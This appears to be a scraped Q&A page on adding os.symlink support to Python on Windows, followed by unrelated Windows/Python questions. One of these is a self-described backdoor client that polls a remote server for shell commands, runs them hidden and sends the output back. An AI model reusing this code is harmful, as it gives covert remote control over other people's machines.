OS.symlink support in windows - windows-vista

I downloaded python 2.7.1 from the python website and installed it to windows. When attempting to symlink a file, I find that it is not supported.
However, I found this issue, and saw that it was fixed. Will this be implemented, and if so when? I'm running windows Vista.

There's a way to fix this, patching the os module on your's python environment start.
The function to create symlinks is already avaliable from Windows API, you only need do call it.
During python's startup, an attempt is made to import a module named sitecustomize.py, on the site-packages directory. We will use this hook to attach our function to the os module.
Put this code on the file sitecustomize.py:
import os
__CSL = None
def symlink(source, link_name):
'''symlink(source, link_name)
Creates a symbolic link pointing to source named link_name'''
global __CSL
if __CSL is None:
import ctypes
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
__CSL = csl
flags = 0
if source is not None and os.path.isdir(source):
flags = 1
if __CSL(link_name, source, flags) == 0:
raise ctypes.WinError()
os.symlink = symlink
Your Python process needs to be started with enabled "Create symbolic links" privilege, this is not a Python issue, every program that claims to use this Windows API will need it. This can be done running your Python interpreter from an elevated cmd.exe. A better alternative is to grant the privilege to the user, provided your Windows edition ships with the required Group Policy editor (gpedit.msc). See the screenshot below. You can adjust the value to include whatever user or security group requires this kind of privilege without compromising on the security of the administrative accounts.
Note: Code snippet from here

Like the Fernando Macedo answer, but IMO less invasive:
def symlink(source, link_name):
import os
os_symlink = getattr(os, "symlink", None)
if callable(os_symlink):
os_symlink(source, link_name)
else:
import ctypes
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
flags = 1 if os.path.isdir(source) else 0
if csl(link_name, source, flags) == 0:
raise ctypes.WinError()

Like Gian Marco Gherardi answer but defines os.symlink on windows, so that your code can safely work on windows and linux:
import os
os_symlink = getattr(os, "symlink", None)
if callable(os_symlink):
pass
else:
def symlink_ms(source, link_name):
import ctypes
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
flags = 1 if os.path.isdir(source) else 0
if csl(link_name, source, flags) == 0:
raise ctypes.WinError()
os.symlink = symlink_ms
If you run your script as administrator everything is fine, if you want to run it as user -- you have to grant python a permission to make symlinks -- which only possible under windows vista+ ultimate or professional.
Edit:
Gian Marco Gherardi answer creates a link to a unix path: like/this and it doesn't work. The fix is to do source.replace('/', '\\'):
# symlink support under windows:
import os
os_symlink = getattr(os, "symlink", None)
if callable(os_symlink):
pass
else:
def symlink_ms(source, link_name):
import ctypes
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
flags = 1 if os.path.isdir(source) else 0
if csl(link_name, source.replace('/', '\\'), flags) == 0:
raise ctypes.WinError()
os.symlink = symlink_ms
Another way is to use window's vista+ mklink utility. But using this utility requires same permissions. Still:
# symlink support under windows:
import os
os_symlink = getattr(os, "symlink", None)
if callable(os_symlink):
pass
else:
def symlink_ms(source, link_name):
os.system("mklink {link} {target}".format(
link = link_name,
target = source.replace('/', '\\')))
os.symlink = symlink_ms
Edit 2:
Here's what I'm finally using: this script makes a link under windows if the user has a privilage to do so, otherwise it just doesn't make a link:
import os
if os.name == "nt":
def symlink_ms(source, link_name):
import ctypes
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
flags = 1 if os.path.isdir(source) else 0
try:
if csl(link_name, source.replace('/', '\\'), flags) == 0:
raise ctypes.WinError()
except:
pass
os.symlink = symlink_ms

Windows 10 in developer mode can create symlinks without elevated privileges by setting the SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE flag as per the Windows documentation. My only issue is that deleting any existing link still needs elevated privileges.
os_symlink = getattr(os, "symlink", None)
if callable(os_symlink):
pass
else:
print "Patching windows symlink support"
def symlink_ms(source, link_name):
import ctypes
import ctypes.wintypes as wintypes
if os.path.exists(link_name):
df = ctypes.windll.kernel32.DeleteFileW
if df(link_name) == 0:
print "Could not remove existing file:", link_name
print "You should remove the file manually through Explorer or an elevated cmd process."
raise ctypes.WinError()
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
flags = 1 if os.path.isdir(source) else 0
flags += 2 # For unprivileged mode. Requires Developer Mode to be activated.
if csl(link_name, source, flags) == 0:
raise ctypes.WinError()
os.symlink = symlink_ms

Related

python program packed by Pyinstaller shows blinking window on windows

I am trying to write a back door program with python.
I design the program with client-server architecture.
Here is the code of client.
from subprocess import PIPE, Popen, CREATE_NO_WINDOW
from typing import List, Optional
from datetime import datetime
from time import sleep
from threading import Thread
from socket import socket, AF_INET, SOCK_DGRAM
from getmac import get_mac_address as gma
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SERVER_PORT = 8080
SERVER_ADDRESS = 'https://example.com:' + str(SERVER_PORT)
def get_ip() -> str:
s = socket(AF_INET, SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
def get_mac() -> str:
return gma().replace(':', '')
def announce() -> List[str]:
requests.post(f'{SERVER_ADDRESS}/announce/{get_id()}', verify=False)
def get_id() -> str:
return get_ip() + '_' + get_mac()
def get_command() -> Optional[List[str]]:
try:
r = requests.get(f'{SERVER_ADDRESS}/command/{get_id()}', verify=False)
except requests.exceptions.ConnectionError:
print('Connection to server error.')
return None
if r.status_code == 200:
r = json.loads(r.text)
status = int(r['status'])
if status == 1:
print(f'Get a command from server.')
return r['command']
else:
return None
else:
print(f'Server returned status code {r.status_code}.')
print(f'Here is the response from server:\n{r.text}')
print()
def run_command():
while True:
command = get_command()
if command is not None:
p = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, creationflags=CREATE_NO_WINDOW)
stdout, stderr = p.communicate()
data = {
'command': command,
'result': stdout.decode() + stderr.decode(),
'timestamp': datetime.now().strftime('%Y.%m.%d %H:%M:%S'),
}
requests.post(f'{SERVER_ADDRESS}/result/{get_id()}', json=data, verify=False)
sleep(5)
announce()
Thread(target=run_command).start()
The program runs well and I pack the python file to exe file with PyInstaller with the following command on windows.
pyinstaller -F -w program.py
-F for one-file
-w for window hidding
The packed program(exe file) runs well, but a windows terminal window shows with about 1Hz frequency. The behavior is strange and I need help.
The blinking window is NOT caused by subprocess because the window keep blinking even if I don't give any command to client.
I have googled the problem for a short time, but there is nothing helpful. I don't know the reason why the window keep blinking, and I think that is the point to explain why I just find nothing.

How does the shortcut property sheet change icons instantly?

When you change the icon in the shortcut property sheet, the shortcut icon changes instantly.
When you run the Python script multiple times, you see the shortcut icons change each time to a random icon. However, when you comment out the create_internet_shortcut call in main, the icon of the manually written Internet shortcut "Bing.url" stops changing. There must be some additional processing that happens in the COM method after SHChangeNotify, which alone is not enough.
What do I need to do to make the Internet shortcut icon change when the URL file is written manually without using COM?
I have also tried calling SHChangeNotify 4 different times, but that didn't work. See the update_all_icons function and commented out call in main.
Install:
pip install pywin32
Code:
#!/usr/bin/env python
from typing import Any, Tuple
import os
import random
import traceback
from pathlib import Path
from win32com import storagecon
from win32comext.shell import shell, shellcon
import win32gui
import pythoncom
import pywintypes
system_icon_file = r"%SystemRoot%\System32\shell32.dll"
system_icon_max_index = 326
desktop_path = Path(r"~\Desktop").expanduser()
def create_internet_shortcut(path: str, target: str = None) -> None:
shortcut = pythoncom.CoCreateInstance(
shell.CLSID_InternetShortcut,
None,
pythoncom.CLSCTX_INPROC_SERVER,
shell.IID_IUniformResourceLocator
)
persist_file = shortcut.QueryInterface(pythoncom.IID_IPersistFile)
persist_file.Load(path)
if not isinstance(target, str):
target = shortcut.GetURL()
if target is None:
target = "https://www.bing.com/"
shortcut.SetURL(target)
property_set_storage = shortcut.QueryInterface(pythoncom.IID_IPropertySetStorage)
property_storage = property_set_storage.Open(shell.FMTID_Intshcut, storagecon.STGM_READWRITE)
icon_file = system_icon_file
icon_index = random.randint(0, system_icon_max_index)
property_storage.WriteMultiple((shellcon.PID_IS_ICONFILE, shellcon.PID_IS_ICONINDEX), (icon_file, icon_index))
property_storage.Commit(storagecon.STGC_DEFAULT)
persist_file.Save(path, 0)
def create_link_shortcut(path: str, target: str = "%SystemDrive%") -> None:
shortcut = pythoncom.CoCreateInstance(
shell.CLSID_ShellLink,
None,
pythoncom.CLSCTX_INPROC_SERVER,
shell.IID_IShellLink
)
persist_file = shortcut.QueryInterface(pythoncom.IID_IPersistFile)
try:
persist_file.Load(path)
except pywintypes.com_error:
traceback.print_exc()
shortcut.SetPath(target)
icon_file = system_icon_file
icon_index = random.randint(0, system_icon_max_index)
shortcut.SetIconLocation(icon_file, icon_index)
persist_file.Save(path, 0)
def write_internet_shortcut(path: str, target: str = None) -> None:
if not isinstance(target, str):
target = "https://www.bing.com/"
icon_file = system_icon_file
icon_index = random.randint(0, system_icon_max_index)
text = f"""[InternetShortcut]
URL={target}
IconFile={icon_file}
IconIndex={icon_index}"""
with open(path, "w", encoding="utf8") as file:
file.write(text)
def update_icon(path: str) -> None:
shell.SHChangeNotify(shellcon.SHCNE_UPDATEITEM, shellcon.SHCNF_PATHW | shellcon.SHCNF_FLUSHNOWAIT, path, None)
def update_all_icons(path: str) -> None:
result, info = shell.SHGetFileInfo(
path,
0,
shellcon.SHGFI_ICON | shellcon.SHGFI_DISPLAYNAME | shellcon.SHGFI_TYPENAME
)
hIcon, iIcon, dwAttributes, displayName, typeName = info
print("Info:", info)
if iIcon > 0:
shell.SHChangeNotify(shellcon.SHCNE_UPDATEIMAGE, shellcon.SHCNF_DWORD | shellcon.SHCNF_FLUSHNOWAIT, iIcon, None)
shell.SHChangeNotify(shellcon.SHCNE_ASSOCCHANGED, shellcon.SHCNF_DWORD | shellcon.SHCNF_FLUSHNOWAIT, iIcon, None)
shell.SHChangeNotify(shellcon.SHCNE_UPDATEITEM, shellcon.SHCNF_PATHW | shellcon.SHCNF_FLUSHNOWAIT, path, None)
shell.SHChangeNotify(shellcon.SHCNE_UPDATEDIR, shellcon.SHCNF_PATHW | shellcon.SHCNF_FLUSHNOWAIT, str(desktop_path.resolve()), None)
win32gui.DestroyIcon(hIcon)
def main(*args: Tuple[Any, ...]) -> None:
create_internet_shortcut(str(desktop_path.joinpath("COM Internet.url").resolve()))
create_link_shortcut(str(desktop_path.joinpath("COM link.lnk").resolve()))
bing_file_path = str(desktop_path.joinpath("Bing.url").resolve())
write_internet_shortcut(bing_file_path)
update_icon(bing_file_path)
# update_all_icons(bing_file_path)
if __name__ == "__main__":
main()

I am trying to bundle my Python(3.5.3) Tkinter app using cx_Freeze(5.1.1). When I hide my command prompt the app doesn't work.

As suggested here I use it to hide my command prompt in my setup.py file. It does hide my command prompt but the app does not work. Basically I am trying to make a Windows native Microsoft MSI for my GUI that I have built for youtube-dl command line tool that is used to consume media from some of the most popular video hosting sites. Any help is much appreciated. Here is my app.py:-
from tkinter import *
from tkinter import ttk
from tkinter import messagebox
from tkinter import filedialog
from tkinter.ttk import Progressbar
import youtube_dl
import threading
import os
download_folder = os.path.expanduser("~")+"/Downloads/"
download_folder_chosen = ""
window = Tk()
window.title("IOB Youtube Downloader")
window.geometry('510x100')
def my_hook(d):
if d:
if d['status'] == 'downloading':
percent_done = d['_percent_str']
percent_done = percent_done.replace(" ", "")
percent_done = percent_done.replace("%", "")
bar['value'] = percent_done
bar.grid(column=1, row=2, pady=15)
bar_lbl.configure(text=percent_done + "%")
bar_lbl.grid(column=1, row=3)
txt['state'] = DISABLED
btn['state'] = DISABLED
if d['status'] == 'finished':
bar.grid_forget()
txt['state'] = NORMAL
btn['state'] = NORMAL
bar_lbl.configure(text="Download Completed !!!")
bar_lbl.grid(column=1, row=2)
messagebox.showinfo('IOB Youtube Downloader', 'Download Complete')
if d['status'] == 'error':
print("\n"*10)
print(d)
messagebox.showerror('IOB Youtube Downloader', 'Download Error')
else:
bar_lbl.configure(text="Download Error. Please try again !!!")
bar_lbl.grid(column=1, row=2)
def start_thread():
t1 = threading.Thread(target=clicked, args=())
t1.start()
def clicked():
res = txt.get()
if download_folder_chosen != "":
location = download_folder_chosen + "/"
else:
location = download_folder
ydl_opts = {
'progress_hooks': [my_hook],
'format': 'best',
'outtmpl': location + u'%(title)s-%(id)s.%(ext)s',
}
try:
with youtube_dl.YoutubeDL(ydl_opts) as ydl:
ydl.download([res])
except:
messagebox.showerror('IOB Youtube Downloader', 'Download Error')
def choose_directory():
global download_folder_chosen
current_directory = filedialog.askdirectory()
download_folder_chosen = current_directory
messagebox.showinfo('IOB Youtube Downloader', 'Download Location:- ' + download_folder_chosen)
style = ttk.Style()
style.theme_use('default')
style.configure("blue.Horizontal.TProgressbar", background='blue')
bar = Progressbar(window, length=200, style='black.Horizontal.TProgressbar')
bar_lbl = Label(window, text="")
lbl = Label(window, text="Paste URL")
lbl.grid(column=0, row=0)
txt = Entry(window,width=60)
txt.grid(column=1, row=0)
btn = Button(window, text="Download", command=start_thread)
btn.grid(column=2, row=0)
btn2 = Button(window, text="...", command=choose_directory)
btn2.grid(column=3, row=0)
window.iconbitmap('favicon.ico')
window.mainloop()
And here is my setup.py file that I use to build the bundle exe using cx_Freeze.
from cx_Freeze import setup, Executable
import sys
import os
base = None
if sys.platform == 'win32':
base = "Win32GUI"
os.environ["TCL_LIBRARY"] = r"C:\Python35\tcl\tcl8.6"
os.environ["TK_LIBRARY"] = r"C:\Python35\tcl\tk8.6"
setup(
name = "IOB Youtube Downloader",
options = {"build_exe": {"packages":["tkinter",], "include_files":[r"C:\Python35\DLLs\tk86t.dll", r"C:\Python35\DLLs\tcl86t.dll", r"E:\Youtube_Downloader\Src\favicon.ico"]}},
version = "1.0",
author = "IO-Bridges",
description = "Download videos from all popular video streaming sites.",
executables = [Executable
(
r"downloader.py",
# base=base, <---- Here setting the base
shortcutName="IOB Youtube Downloader",
shortcutDir="DesktopFolder",
icon="favicon.ico"
)]
)

prevent pydub from opening console window

Is there a way to prevent pydub from opening a console window when using ffmpeg (on Windows) ? Each time it launches ffmpeg to convert a mp3 file to wav, it briefly opens a console window that shuts down automatically when process is done but can be disturbing.
The solution I am using is to overload the from_file function. I just changed subprocess call, adding option startupinfo. Here are the few lines I added:
import platform
systeme = platform.system()
if systeme == 'Windows':
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
p = subprocess.Popen(conversion_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo)
else:
p = subprocess.Popen(conversion_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)`
You can modify the source code and recompile it at runtime.
# Created by BaiJiFeiLong#gmail.com at 2022/2/18 22:09
import importlib.util
import re
import sys
import types
import pydub
from IceSpringPathLib import Path
for moduleName in "pydub.utils", "pydub.audio_segment":
spec = importlib.util.find_spec(moduleName, None)
source = spec.loader.get_source(moduleName)
snippet = "__import__('subprocess').STARTUPINFO(dwFlags=__import__('subprocess').STARTF_USESHOWWINDOW)"
source, n = re.subn(r"(Popen)\((.+?)\)", rf"\1(\2, startupinfo=print('worked') or {snippet})", source, flags=re.DOTALL)
module = importlib.util.module_from_spec(spec)
exec(compile(source, module.__spec__.origin, "exec"), module.__dict__)
sys.modules[moduleName] = module
module = importlib.reload(sys.modules["pydub"])
for k, v in module.__dict__.items():
if isinstance(v, types.ModuleType):
setattr(module, k, importlib.import_module(v.__name__))
pydub.audio_segment.AudioSegment.from_file(Path("~/Music").expanduser().glob("**/*.mp3").__next__())
I do the following in any script which uses pydub:
Add import subprocess before import pydub
Then, just before I use pydub in the script I add:
if subprocess.mswindows: subprocess.STARTUPINFO.dwFlags |= subprocess.STARTF_USESHOWWINDOW
This tells any subprocess call from that script (whether or not through a pydub instruction) to not display a window by default, but to look to another flag called wShowWindow to decide whether to display. As that flag is 0 by default, the window isn't shown.
note: dwFlags is no longer a class attribute but an instance attribute of STARTUPINFO (on newer Python versions like 3.9) therefore this answer isn't working for new versions. A STARTUPINFO() object must be created.

Show gdb tui source code in another terminal

Is it possible to configure the gdb tui interface to show the source code in another terminal window (that I can put in another screen) or to simulate this behaviour using something like tmux?
I don't know of any way to do this with gdb-tui specifically.
A hack that works with normal gdb, or tui is to abuse the python prompt_hook
function, overriding it to produce some effect based don the current file/line
and return the normal prompt.
Below is an example which uses vim's +clientserver functionality to launch vim in a terminal, and follow along as the program counter changes.
import os
import subprocess
servername = "GDB.VI." + str(os.getpid());
terminal = "gnome-terminal"
terminal_arg ="-e"
editor = "vimx"
term_editor = "%s --servername %s" % (editor, servername)
subprocess.call([terminal, terminal_arg, term_editor])
def linespec_helper(linespec, fn):
try:
x = gdb.decode_line(linespec)[1][0]
if x != None and x.is_valid() and x.symtab != None and x.symtab.is_valid():
return fn(x)
except:
return None
def current_file():
return linespec_helper("*$pc", lambda x: x.symtab.fullname())
def current_line():
return str(linespec_helper("*$pc", lambda x: x.line))
def vim_current_line_file():
aLine = current_line()
aFile = current_file()
if aLine != None and aFile != None:
subprocess.call([editor, "--servername", servername, "--remote", "+" + aLine, aFile])
old_prompt_hook = gdb.prompt_hook
def vim_prompt(current_prompt):
vim_current_line_file()
if old_prompt_hook != None:
old_prompt_hook(current_prompt)
else:
None
gdb.prompt_hook = vim_prompt

Resources